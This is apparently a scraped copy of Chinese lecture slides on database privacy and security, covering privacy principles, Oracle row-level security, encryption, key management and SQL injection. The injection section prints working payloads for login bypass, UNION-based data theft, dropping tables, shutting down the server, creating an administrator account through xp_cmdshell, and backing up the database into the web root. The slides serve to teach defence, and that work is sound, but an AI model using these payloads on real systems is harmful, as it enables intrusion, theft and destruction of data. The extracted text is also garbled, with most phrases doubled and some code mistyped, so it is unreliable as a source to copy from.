版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、1 第八章数据库隐私与数据库安全的其他问题2 3 8 8.1 .1 隐私隐私8 8.1.1 .1.1 隐私权的产生隐私权的产生19481948联合国大会通过的世界人权宣言就在联合国大会通过的世界人权宣言就在第第1212条明文规定:条明文规定:“任何人的私生活、家庭、任何人的私生活、家庭、住宅和通信不得任意干涉,他的荣誉和名誉不住宅和通信不得任意干涉,他的荣誉和名誉不得加以攻击。人人有权享受法律保护,以免受得加以攻击。人人有权享受法律保护,以免受干涉或攻击。干涉或攻击。”1966”1966年联合国大会通过的公年联合国大会通过的公民权利和政治权利国际公约在第民权利和政治权利国际公约在第1717条中
2、作了条中作了几乎相同的规定,只是在几乎相同的规定,只是在“干涉干涉”的前面加上的前面加上了了“非法非法”字样,即字样,即“不得加以任意或非法的不得加以任意或非法的干涉干涉”,使其含义更加确切。,使其含义更加确切。48.1.2 隐私权的内容隐私权的内容 隐私权隐私权:是自然人享有的私人生活安宁和私人是自然人享有的私人生活安宁和私人信息依法受保护,不被他人非法侵扰、知悉、信息依法受保护,不被他人非法侵扰、知悉、搜集、利用和公开的一种人格权,它包含主体搜集、利用和公开的一种人格权,它包含主体和客体两部分。和客体两部分。隐私权的主体隐私权的主体:应为自然人,不包括法人。隐应为自然人,不包括法人。隐私权
3、的宗旨是保持人的心情舒畅、维护人格尊私权的宗旨是保持人的心情舒畅、维护人格尊严。严。隐私权的客体隐私权的客体:是隐私。是隐私。58.2 隐私形式隐私形式8.2.1 信息时代的隐私信息时代的隐私在网络所带来隐私权问题当中,一个关键的问在网络所带来隐私权问题当中,一个关键的问题就是有关个人数据的权利问题。题就是有关个人数据的权利问题。19951995年年7 7月,欧洲联盟数据保护规章给个月,欧洲联盟数据保护规章给个人数据下的定义是:人数据下的定义是:“有关一个人被识别或可有关一个人被识别或可识别的自然人的任何信息,包括身体的、生理识别的自然人的任何信息,包括身体的、生理的、经济的、文化的、社会的、
4、的、经济的、文化的、社会的、”。由此可见,。由此可见,所谓个人数据,是指用来标识个人基本情况的所谓个人数据,是指用来标识个人基本情况的一组数据资料,其范围非常广泛。一组数据资料,其范围非常广泛。6在网络上,这些个人数据主要包括四个方面。在网络上,这些个人数据主要包括四个方面。v个个人登录的身份、健康状况、兴趣爱好。人登录的身份、健康状况、兴趣爱好。v个人的信用和财产状况,包括信用卡、电个人的信用和财产状况,包括信用卡、电子消费卡、上网卡、上网账号和密码、交子消费卡、上网卡、上网账号和密码、交易账号和密码等。易账号和密码等。v邮箱地址,邮箱地址同样是个人隐私,用邮箱地址,邮箱地址同样是个人隐私,
5、用户大多数不愿将之公开。户大多数不愿将之公开。v网络活动踪迹。个人在网上的活动踪迹。网络活动踪迹。个人在网上的活动踪迹。78.3 数据库隐私数据库隐私8.3 1 数据库隐私保护的原则数据库隐私保护的原则数据库隐私保护的数据库隐私保护的1010条规则。条规则。v目标定义目标定义(Purpose Specification)(Purpose Specification)。对收。对收集和存储在数据库中的每条个人信息都应该集和存储在数据库中的每条个人信息都应该给出相应的目的描述。给出相应的目的描述。v提供者同意提供者同意(Consent)(Consent)。每条个人信息的相。每条个人信息的相应目的都应
6、该获得信息提供者的同意。应目的都应该获得信息提供者的同意。v收集限制收集限制(Limited Collection)(Limited Collection)。个人信息。个人信息的收集应该限制在满足相应目的的最小需求的收集应该限制在满足相应目的的最小需求内。内。v使用限制使用限制(Limited use)(Limited use)。数据库仅仅运行。数据库仅仅运行与收集信息的目的相一致的查询。与收集信息的目的相一致的查询。8v泄露限制泄露限制(Limited Disclosure)(Limited Disclosure)。存储在。存储在数据库中的数据不允许同与信息提供者同数据库中的数据不允许同与信
7、息提供者同意目的不符的外界进行交流。意目的不符的外界进行交流。v保留限制保留限制(Limited RetentionLimited Retention)。个人信)。个人信息只在为完成必要目的的时候才加以保留。息只在为完成必要目的的时候才加以保留。v准确准确(Accuracy)(Accuracy)。存储器在数据库中的个。存储器在数据库中的个人信息必须是正确的、最新的。人信息必须是正确的、最新的。v安全安全(SafetySafety)。个人信息有安全措施保)。个人信息有安全措施保护,以防被盗或挪作它用。护,以防被盗或挪作它用。v开放开放(Openness)(Openness)。信息拥有者应该能够访
8、。信息拥有者应该能够访问自己存储在数据库中的所有信息。问自己存储在数据库中的所有信息。v遵从遵从(ComplianceCompliance)。信息拥有者能够验)。信息拥有者能够验证以上规则的遵守情况,相应地,数据库证以上规则的遵守情况,相应地,数据库也应该重视对这些规则的挑战。也应该重视对这些规则的挑战。9 10.3.2 基于访问控制的隐私保护基于访问控制的隐私保护 OracleOracle系统的隐私保护系统的隐私保护OracleOracle一直都提供授权(或拒绝)用户访问数一直都提供授权(或拒绝)用户访问数据库对象的能力,但是这些访问权限是在对象据库对象的能力,但是这些访问权限是在对象级别上
9、定义的,即对于整个表或者整个数据库,级别上定义的,即对于整个表或者整个数据库,而不是针对表中某个特定的行而定义。而不是针对表中某个特定的行而定义。Oracle8iOracle8i中引入的中引入的OracleOracle行级安全性行级安全性(Row-(Row-Level Security, RLS)Level Security, RLS)特性在表的行这一级上特性在表的行这一级上进行控制。行级安全性并不向对表有任何访问进行控制。行级安全性并不向对表有任何访问权限的用户打开整个表,而是将访问限定到表权限的用户打开整个表,而是将访问限定到表中某个特定的行,其操作结果就是每个用户看中某个特定的行,其操作
10、结果就是每个用户看到完全不同的数据集。到完全不同的数据集。10例:例:假设银行的账户经理(假设银行的账户经理(AMAM)向高资金账户)向高资金账户持有者提供个人客户支持。规定账户经理只能访持有者提供个人客户支持。规定账户经理只能访问管辖之内特定的客户信息,而不是所有客户信问管辖之内特定的客户信息,而不是所有客户信息。息。本例有两个关键表,其一是本例有两个关键表,其一是CUSTOMERCUSTOMER(客户)(客户)表,其二是表,其二是ACCOUNTACCOUNT(账户)表(账户)表表表8 8.1 CUSTOMER.1 CUSTOMER表表11表表8 8.2 ACCOUNT.2 ACCOUNT表
11、表表表8 8.3 ACCESS_POLICY.3 ACCESS_POLICY表表用户的安全性经理,拥有一个用户的安全性经理,拥有一个Access_policy表,表,可以识别账户经理和他们各自客户的账户。可以识别账户经理和他们各自客户的账户。12 表表 8 8.4 ACCESS_POLICY.4 ACCESS_POLICY表记录表记录13 10.3.3 数据加密数据加密数据库安全措施不能抵御的几种攻击数据库安全措施不能抵御的几种攻击: :v通过非法获取用户名和口令,窃取和篡改通过非法获取用户名和口令,窃取和篡改数据库中的信息数据库中的信息; ;v用户绕过操作系统或用户绕过操作系统或DBMSDB
12、MS的控制入侵系统,的控制入侵系统,窃取和篡改数据库中的信息窃取和篡改数据库中的信息; ; v数据存储介质数据存储介质( (如磁盘、光盘、磁带等如磁盘、光盘、磁带等) )失失窃导致数据库中的数据泄漏窃导致数据库中的数据泄漏; ; v恶意的数据库管理员恶意的数据库管理员(DBA)(DBA)窃取和篡改数据窃取和篡改数据库中的信息。库中的信息。14数据库加密要求数据库加密要求v数据库中信息保存时间比较长数据库中信息保存时间比较长, ,采用合适的采用合适的加密方式加密方式, ,从根本上达到不可破译从根本上达到不可破译; ;v加密后加密后, ,加密数据占用的存储空间不宜明显加密数据占用的存储空间不宜明显
13、增大增大; ;v加密加密/ /解密速度要快解密速度要快, ,尤其是解密速度尤其是解密速度, ,要使要使用户感觉不到加密用户感觉不到加密/ /解密过程中产生的时延解密过程中产生的时延, ,以及系统性能的变化以及系统性能的变化; ;v授权机制要尽可能灵活。授权机制要尽可能灵活。v提供一套安全的、灵活的密钥管理机制提供一套安全的、灵活的密钥管理机制; ;v不影响数据库系统的原有功能不影响数据库系统的原有功能, ,保持对数据保持对数据库操作库操作( (如查询如查询, ,检索检索, ,修改修改, ,更新更新) )的灵活性的灵活性和简便性。和简便性。15一、加密执行层次一、加密执行层次操作系统层加密、操作
14、系统层加密、DBMSDBMS内核层加密和内核层加密和DBMSDBMS外层外层加密三个不同层次实现加密三个不同层次实现 1.1.在操作系统在操作系统(OS)(OS)层执行加密层执行加密/ /解密:解密:数据库元数据库元素以及各元素之间的关系无法辨认素以及各元素之间的关系无法辨认, ,所以无法所以无法产生合理的密钥。一般在产生合理的密钥。一般在OSOS层层, ,针对数据库文针对数据库文件要么不加密件要么不加密, ,要么对整个数据库文件进行加要么对整个数据库文件进行加密密, ,加密加密/ /解密不能合理执行。因此一般不采用解密不能合理执行。因此一般不采用在在OSOS层进行数据库加密。层进行数据库加密
15、。162.2.在在DBMSDBMS内核层执行加密内核层执行加密/ /解密解密 在在DBMSDBMS内核层对数据库管理系统本身进行内核层对数据库管理系统本身进行操作操作, ,这种加密是指数据在物理存取之前完成加这种加密是指数据在物理存取之前完成加密密/ /解密工作。解密工作。v优点:优点:是加密功能强是加密功能强, , 不影响不影响DBMSDBMS的功能。的功能。由于与由于与DBMSDBMS系统结合紧密系统结合紧密, ,可以提供对各种粒可以提供对各种粒度加密的灵活性度加密的灵活性, ,灵活的加密配合灵活的加密配合DBMSDBMS的访问的访问控制、授权控制控制、授权控制 。另外。另外, ,这种层次
16、的加密对这种层次的加密对于应用程序来说是透明的。于应用程序来说是透明的。v缺点:缺点:是加密运算在服务器端进行是加密运算在服务器端进行, DBMS, DBMS除除了完成正常的功能外,还要进行加解密运了完成正常的功能外,还要进行加解密运算,加重了服务器的负载算,加重了服务器的负载, ,而且而且DBMSDBMS和加密器和加密器之间的接口需要之间的接口需要DBMSDBMS开发商的支持。开发商的支持。173.3.在在DBMSDBMS外层执行加密外层执行加密/ /解密解密 在应用程序中实现在应用程序中实现, ,加密时调用应用程序加密时调用应用程序中的加密模块来完成数据的加密工作中的加密模块来完成数据的加
17、密工作, ,然后把然后把密文数据传送到密文数据传送到DBMSDBMS存储存储; ;解密时把密文数据解密时把密文数据取出到应用程序中取出到应用程序中, ,然后由应用程序中的解密然后由应用程序中的解密模块将数据解密并给出结果。模块将数据解密并给出结果。v优点:优点:不会加重数据库服务器的负载不会加重数据库服务器的负载, , 加解加解密运算可在客户端进行密运算可在客户端进行, , 并且可以实现网上并且可以实现网上传输的加密传输的加密, , 可以将加密密钥与所加密的数可以将加密密钥与所加密的数据分开保存,提高了安全性。据分开保存,提高了安全性。v缺点:缺点:加密后的数据库功能受到一些限制,加密后的数据
18、库功能受到一些限制,例如加密后的数据无法正常索引。同时数据例如加密后的数据无法正常索引。同时数据加密后也会破坏原有的关系数据的完整性与加密后也会破坏原有的关系数据的完整性与一致性,这些都会给数据库应用带来影响。一致性,这些都会给数据库应用带来影响。18二、加密算法的选择二、加密算法的选择1.1.对称加密对称加密对称加密算法加密速度快,因此它是最常用的对称加密算法加密速度快,因此它是最常用的加密技术。主要的对称加密算法有加密技术。主要的对称加密算法有DESDES、IDEAIDEA和和AESAES。主要缺点密钥的生成、分发、备份、。主要缺点密钥的生成、分发、备份、重新生成和生命周期等方面常存在安全
19、问题。重新生成和生命周期等方面常存在安全问题。在数据库加密中一般采取对称密钥的分组加密在数据库加密中一般采取对称密钥的分组加密算法。算法。192. 2. 非对称加密非对称加密适用于分布式系统中的数据加密。加密速度慢,适用于分布式系统中的数据加密。加密速度慢,安全强度没有对称加密高,密钥分发安全。常安全强度没有对称加密高,密钥分发安全。常用的公钥加密算法是用的公钥加密算法是RSARSA。203.3.混合加密混合加密为了充分发挥对称加密与非对称加密的优势为了充分发挥对称加密与非对称加密的优势, ,混合加密方案被提出。在混合加密方案中混合加密方案被提出。在混合加密方案中, ,加加密者首先利用一个随机
20、生成的密钥和对称加密密者首先利用一个随机生成的密钥和对称加密算法加密数据算法加密数据, ,然后通过使用接收者的公钥把然后通过使用接收者的公钥把随机密钥进行加密随机密钥进行加密, ,并与密文一起传送给接受并与密文一起传送给接受者。接收者通过自己的私钥首先解密随机密钥者。接收者通过自己的私钥首先解密随机密钥, ,再利用其解密密文。此方案既利用了对称加密再利用其解密密文。此方案既利用了对称加密安全强度高、速度快的特点安全强度高、速度快的特点, ,也利用了非对称也利用了非对称加密密钥管理简单的特性。加密密钥管理简单的特性。21三、数据库加密粒度三、数据库加密粒度一般来说,数据库加密的粒度可以有一般来说
21、,数据库加密的粒度可以有4 4种种v表加密:表加密:表级加密的对象是整个表,这种表级加密的对象是整个表,这种加密方法类似于操作系统中文件加密的方法。加密方法类似于操作系统中文件加密的方法。v属性加密:属性加密:属性加密,以表中的列为单位属性加密,以表中的列为单位进行加密。进行加密。v记录加密:记录加密:记录加密是把表中的一条记录记录加密是把表中的一条记录作为加密的单位,当数据库中需要加密的记作为加密的单位,当数据库中需要加密的记录数比较少时,采用这种方法是比较好的。录数比较少时,采用这种方法是比较好的。v数据元素加密:数据元素加密:数据元素加密是以记录中数据元素加密是以记录中每个字段的值为单位
22、进行加密。每个字段的值为单位进行加密。 22 四、密钥管理四、密钥管理对数据库密钥的管理一般有对数据库密钥的管理一般有集中密钥管理集中密钥管理和多和多级密钥管理级密钥管理两种体制。两种体制。集中密钥管理方法是设立密钥管理中心。在建集中密钥管理方法是设立密钥管理中心。在建立数据库时,密钥管理中心负责产生密钥并对立数据库时,密钥管理中心负责产生密钥并对数据加密,形成一张密钥表。当用户访问数据数据加密,形成一张密钥表。当用户访问数据库时,密钥管理机构核对用户识别符和用户密库时,密钥管理机构核对用户识别符和用户密钥。通过审核后,由密钥管理机构找到或计算钥。通过审核后,由密钥管理机构找到或计算出相应的数
23、据密钥。这种密钥管理方式方便用出相应的数据密钥。这种密钥管理方式方便用户使用和管理,但由于这些密钥一般由数据库户使用和管理,但由于这些密钥一般由数据库管理人员控制,因而权限过于集中。管理人员控制,因而权限过于集中。23目前研究和应用比较多的是多级密钥管理体制。目前研究和应用比较多的是多级密钥管理体制。以加密粒度为数据元素的三级密钥管理体制为以加密粒度为数据元素的三级密钥管理体制为例,整个系统的密钥由一个例,整个系统的密钥由一个主密钥主密钥、每个表上、每个表上的的表密钥表密钥,以及各个,以及各个数据元素密钥数据元素密钥组成。表密组成。表密钥被主密钥加密后以密文形式保存在数据字典钥被主密钥加密后以
24、密文形式保存在数据字典中,数据元素密钥由主密钥及数据元素所在行、中,数据元素密钥由主密钥及数据元素所在行、列通过某种函数自动生成,一般不需要保存。列通过某种函数自动生成,一般不需要保存。在多级密钥体制中,主密钥是加密子系统的关在多级密钥体制中,主密钥是加密子系统的关键,系统的安全性在很大程度上依赖于主密钥键,系统的安全性在很大程度上依赖于主密钥的安全性。的安全性。24例:例:OracleOracle数据库数据库10g10g对列进行加密。对列进行加密。create table accounts(id number not null,firstname varchar2 (20) not null
25、,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYP USINGAESl28,) SQL Server 2005内置密钥结构内置密钥结构 25数据库加密后对系统的影响数据库加密后对系统的影响v性能下降性能下降v加密的范围的约束:加密的范围的约束:如不加密索引字段和表如不加密索引字段和表间的连接码字段。间的连接码字段。v加密字符串的模糊匹配加密字符串的模糊匹配: :对加密数据上的大对加密数据上的大量模糊查询量模糊查询, ,例如例如, ,当当SQLSQL条件语句包含条件语句包含“Like”“Like”时时, ,很难进行处理。很难进行处理。
26、v加密数据库的完整性加密数据库的完整性: :当数据库加密后当数据库加密后, ,实体实体完整性不会被破坏完整性不会被破坏, ,而引用完整性难以维护,而引用完整性难以维护,如外键约束及值域的定义等。数据一旦加密,如外键约束及值域的定义等。数据一旦加密,DBMSDBMS将难以实现这些约束。将难以实现这些约束。26v使数据的使数据的SQLSQL语言受到制约:语言受到制约:SQLSQL语言中的语言中的Group byGroup by、Order byOrder by及及HavingHaving子句分别完成子句分别完成分组和排序等操作,解密后的明文数据将失分组和排序等操作,解密后的明文数据将失去原语句的分
27、组和排序作用。去原语句的分组和排序作用。v密文数据容易成为攻击目标密文数据容易成为攻击目标v加密数据的存储空间增加问题加密数据的存储空间增加问题 v密钥管理问题密钥管理问题27加密方法加密方法 例:例:OracleOracle数据库数据库10g10g第二版对列进行加密。第二版对列进行加密。create table accounts(id number not null,firstname varchar2 (20) not null,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYPT USINGAESl28,)28 10.4 SQL
28、注入攻击注入攻击10.4.1 SQL注入攻击原理注入攻击原理SQLSQL注入攻击注入攻击: :它借助应用程序通过参数化、动它借助应用程序通过参数化、动态态SQLSQL语句与数据库系统进行交互的内部逻辑,语句与数据库系统进行交互的内部逻辑,利用程序中存在的漏洞或利用程序中存在的漏洞或BugBug,构造与应用程,构造与应用程序设计预期不同的序设计预期不同的SQLSQL声明,非法访问非授权声明,非法访问非授权数据、篡改数据、监视隐私、破坏系统。数据、篡改数据、监视隐私、破坏系统。29 一、典型的一、典型的SOLSOL注入攻击注入攻击假设某网站的数据库中有一个假设某网站的数据库中有一个usertabl
29、eusertable表用表用来存放用户的登录信息,包含来存放用户的登录信息,包含username ,username , password password等字段,网站的应用程序根据用户提等字段,网站的应用程序根据用户提交的数据生成交的数据生成SQLSQL查询语句。查询语句。 开发人员在数据库中建立一个数据库表开发人员在数据库中建立一个数据库表user_table 。 CREATE TABLE usertable( Id INTEGER PRIMARYKEY, Username VARCHAR(32), Password VARCHAR(41) );30假如用户提供的用户名和口令分别为假如用户
30、提供的用户名和口令分别为John和和mypassword,那么检查用户,那么检查用户ID过程如下所示:过程如下所示: SELECT id FROM usertable WHERE username=John AND password= mypassword;应用程序中生成应用程序中生成SQL查询语句的代码:查询语句的代码:String querystring=“select * from usertable where ”;if (!username.equals(“”)&(!pass.equals(“”) querystring+=“username=”+username +“ an
31、d password=”+pass+”;else querystring+=“username=guest”;311、用户、用户正确输入正确输入账户名:账户名:abc,密码:密码:123,则查询则查询语句为语句为 select * from usertable where username=abc and password=123;2、 SQL注入攻击注入攻击1)若用户输入)若用户输入账户:账户:“ OR = 和和密码:密码:“ OR = 执行的执行的SQL语句为:语句为: select * from usertable where username= OR = and password= O
32、R = ; = 恒定成立,恒定成立,32 2)若用户输入)若用户输入“abc OR 1=1- ”和和 “ ”执行的执行的SQL语句为:语句为:select * from usertable where username=abc OR 1=1-and password= ; /-以后的内容以后的内容and password= ; 全部为注册信全部为注册信息,息,攻击后获取全部信息攻击后获取全部信息33 3 3)修改数据库信息)修改数据库信息若用户输入若用户输入“ ;shutdown with nowait;-shutdown with nowait;-”和和“ ”“ ” 执行的执行的SQLSQL
33、语句为:语句为: select select * * from usertable where from usertable where username= username= ; ; shutdown with nowaitshutdown with nowait;- and password= and password= ; ; /命令命令shutdown with nowaitshutdown with nowait;会会关闭数据库关闭数据库服务器服务器34 若用户输入若用户输入“;drop table users;-;drop table users;-”和和“ ”“ ”执行的执行的S
34、QLSQL语句为:语句为: select select * * from usertable where from usertable where username=username= ;drop table usersdrop table users;-and and password=password= ; ; /命令命令drop table usersdrop table users;会会删删除除usersusers表表若用户输入若用户输入“ ;delete from users where delete from users where = = ” 和和 “ “ OR OR = = ”
35、执行的执行的SQLSQL语句为:语句为: select select * * from usertable where username= from usertable where username= ; ; delete from users where delete from users where = = and and password= password= OR OR = = ; ; /删除删除usersusers表中全部记录表中全部记录35例例1:某一系统要求考生输入身份证号码某一系统要求考生输入身份证号码,来查询各来查询各门课的考试成绩门课的考试成绩. SELECT * FROM
36、 score WHERE id=user_id;/ id表示身份证号表示身份证号 如果攻击者输入以下内容如果攻击者输入以下内容:“1000 or 1=1”则真正执行的语句将如下所示:则真正执行的语句将如下所示: SELECT * FROM score WHERE id=1000or1=1;/得到表中所有考生的成绩记录得到表中所有考生的成绩记录.36例例2:假如事先知道该系统的管理员用户名是:假如事先知道该系统的管理员用户名是 “admin”,可以在输入用户名的文本框中输入以可以在输入用户名的文本框中输入以下内容下内容: “admin-”,输入密码文本框中输入,输入密码文本框中输入任意内容,假设
37、输入任意内容,假设输入“ cat22”。 此时执行的语句为此时执行的语句为: select * from users where username= admin- and password=cat22; /这样攻击者就顺利地通过了认证这样攻击者就顺利地通过了认证, 还可以用管还可以用管理员的名义访问该系统。理员的名义访问该系统。37二、二、UNIONUNION式式SQLSQL注入攻击注入攻击SELECT 语句的语法:语句的语法: SELECT UNION ALL|DISTINCT SELECT ;v UNION将多个将多个SELECT语句的结果合并为一个集合。语句的结果合并为一个集合。如果没有
38、使用关健字如果没有使用关健字ALL,所有返回的结果是不同的,所有返回的结果是不同的,等价于使用关键字等价于使用关键字DISTINCT,如果声明了关键字如果声明了关键字ALL,返回结果中包含所有匹配记录。大部分返回结果中包含所有匹配记录。大部分SQL注入攻击注入攻击使用使用UNION LL,用以捎回额外的信息。用以捎回额外的信息。38 例:查询员工信息。例:查询员工信息。SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Handel;攻击者将攻击者将“Ernst Handel”,
39、替换如下的内容:,替换如下的内容:v“Ernst Handel UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-”39表表sysprocesses字段定义字段定义4041 其结果是这个其结果是这个SQL语句在服务器端执行,将这语句在服务器端执行,将这个动态的个动态的SQL查询转换为如下语句:查询转换为如下语句:SELECT CustomerID, CompanyName, ContactName FROM Customers WHERE CompanyName =Ernst Han
40、del UNION SELECT ALL loginame,hostname,login_time from master.sysprocesses where 1=1-v这是合法的这是合法的SQL语句,返回数据库当前登录语句,返回数据库当前登录信息,包括登录名称、登录主机,登录时间。信息,包括登录名称、登录主机,登录时间。42三、判断数据库类型三、判断数据库类型 例如:网站例如:网站,在网站首页上,有名为,在网站首页上,有名为“IE不能打开新窗口的多种解决方法不能打开新窗口的多种解决方法”的链接,地址为:的链接,地址为:http:/ http:/ showdetail.asp?id=49sh
41、owdetail.asp?id=49, ,服务器返回下面的错误提示:服务器返回下面的错误提示:Microsoft JET Database Engine Microsoft JET Database Engine 错误错误 80040e14 80040e14 字符串的语法错误字符串的语法错误 在查询表达式在查询表达式 ID=49 ID=49 中。中。 /showdetail.asp /showdetail.asp,行,行8 8从这个错误提示我们能看出下面几点:从这个错误提示我们能看出下面几点: 1 1)网站使用的是)网站使用的是AccessAccess数据库,通过数据库,通过JETJET引擎连
42、接数引擎连接数据库,而不是通过据库,而不是通过ODBCODBC。 2 2)程序没有判断客户端提交的数据是否符合程序要求。)程序没有判断客户端提交的数据是否符合程序要求。 3 3)该)该SQLSQL语句所查询的表中有一名为语句所查询的表中有一名为IDID的字段。的字段。43获取数据库的用户名获取数据库的用户名 http:/ and user0; user是是SQL Server的内置变量,它的值是当的内置变量,它的值是当前连接的用户名,类型为前连接的用户名,类型为nvarchar。拿一个拿一个nvarchar的值跟的值跟int的数的数0比较,系统会先试图将比较,系统会先试图将nvarchar的值
43、转成的值转成int型,当然,转的过程中肯定型,当然,转的过程中肯定会出错,如会出错,如SQLServer的出错提示是:的出错提示是:将将nvarchar值值 ”abc” 转换数据类型为转换数据类型为 int 时发生语时发生语法错误法错误,则,则abc正是变量正是变量user的值,即数据库的的值,即数据库的用户名。用户名。 如果是如果是sa登录,提示是将登录,提示是将”dbo”转换成转换成int时时发生错误。发生错误。44 http:/ and (select count(*) from sysobjects)0 http:/ and (select count(*) from msysobje
44、cts)0如果数据库是如果数据库是SQLServer,那么第一个网址的页面与原页面,那么第一个网址的页面与原页面http:/ ID=49 And (Select Count(ID=49 And (Select Count(* *) from ) from AdminAdmin)=0)=0 如果页面与原页面相同,说明附加条件成立,即表如果页面与原页面相同,说明附加条件成立,即表AdminAdmin存在,存在,反之,即不存在。如此循环,直至猜到表名为止。反之,即不存在。如此循环,直至猜到表名为止。猜字段名:猜字段名: ID=49 And (Select Count(ID=49 And (Selec
45、t Count(字段名字段名) from Admin)=0) from Admin)=0猜用户名长度:猜用户名长度: ID=49ID=49 and (select top 1 and (select top 1 len(username)len(username) from Admin)0 from Admin)0 如果如果top 1top 1的的usernameusername长度大于长度大于0 0,则条件成立;接着就是,则条件成立;接着就是11、22、33这样测试下去,一直到条件不成立为止,比如这样测试下去,一直到条件不成立为止,比如77成立,成立,88不成不成立,就是立,就是len(us
46、ername)=8len(username)=8。46五、利用系统表注入五、利用系统表注入SQLServer数据库数据库 创建系统用户:创建系统用户: id=1;exec master.xp_cmdshell “net user name password /add” 存储过程存储过程xp_cmdshell用于调用系统命令,用用于调用系统命令,用net命命令新建了用户名为令新建了用户名为name、密码为、密码为password的的windows的帐号。该方法只适用于用的帐号。该方法只适用于用sa连接数据库的情况,否连接数据库的情况,否则,是没有权限调用则,是没有权限调用xp_cmdshell的
47、。的。 把该用户加入把该用户加入administrators组:组: Id=1;exec master.xp_cmdshell “net localgroup name administrators /add” 将新建的帐号将新建的帐号name加入管理员组。加入管理员组。 47获取数据库名获取数据库名 http:/Site/url.ASP?id=1 and db_name()0 db_name()是另一个系统变量,返回的是连接的数是另一个系统变量,返回的是连接的数据库名。据库名。备份数据库备份数据库 id=1;backup database 数据库名数据库名 to disk=c:inetpub
48、wwwroot1.db;- 根据获得的数据库名,加上某些根据获得的数据库名,加上某些IIS出错暴露出的出错暴露出的绝对路径,将数据库备份到绝对路径,将数据库备份到Web目录下,再用目录下,再用HTTP可可把整个数据库完整的下载。把整个数据库完整的下载。 4810.4.2 SQL10.4.2 SQL注入攻击的实现过程注入攻击的实现过程 1.1.寻找寻找SQLSQL注入点。注入点。 2. 2.获取和验证获取和验证SQLSQL注入点。注入点。 3. 3.获取信息。获取信息。 4. 4.实施直接控制。实施直接控制。4910.4.3 SOL10.4.3 SOL注入攻击防范技术注入攻击防范技术SQLSQL注入攻击的常规防范技术可以分为四类注入攻击的常规防范技术可以分为四类: :v修补应用程序漏洞。修补应用程序漏洞。vSQLSQL注入攻击在线监控。注入攻击在线监控。v发现并修补数据库服务器发现并修补数据库服务器SQLSQL注入漏洞。注入漏洞。v过滤过滤SQLSQL命令进行输入验证。命令进行输入验证。50 SQL SQL注入攻击的常规防范具体措施注入攻击的常规防范具体措施1、过
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年氟铝酸钙锂晶体(LICAALF)合作协议书
- 变电站生产安全操作规程(标准版)
- 宾馆公共场所卫生管理制度5篇
- 高考理科数学第一轮专题计数原理概率与统计测试题参考答案
- 病理学测试题库及答案
- 国家开放大学电大专科《病理学与病理生理学》2026年期末试题及答案
- 2025年涨紧轮合作协议书
- 自动化数据验证框架
- 汽车维修服务操作规范与流程
- 房地产开发与销售流程指南
- 2026版离婚协议书(官方标准版)
- 医患沟通学与医学的关系
- 严厉的主奴协议书
- 2026年区块链基础培训课件与可信数据应用场景指南
- 《多元统计分析》(第6版)课件 第1章 多元正态分布及其抽样分布
- 不良事件上报流程及处理
- 妇产科护士长工作总结范文
- 娱乐场所合作协议书合同
- 派出所安全培训
- 物业会计知识培训内容
- 轧钢工艺培训课件模板
评论
0/150
提交评论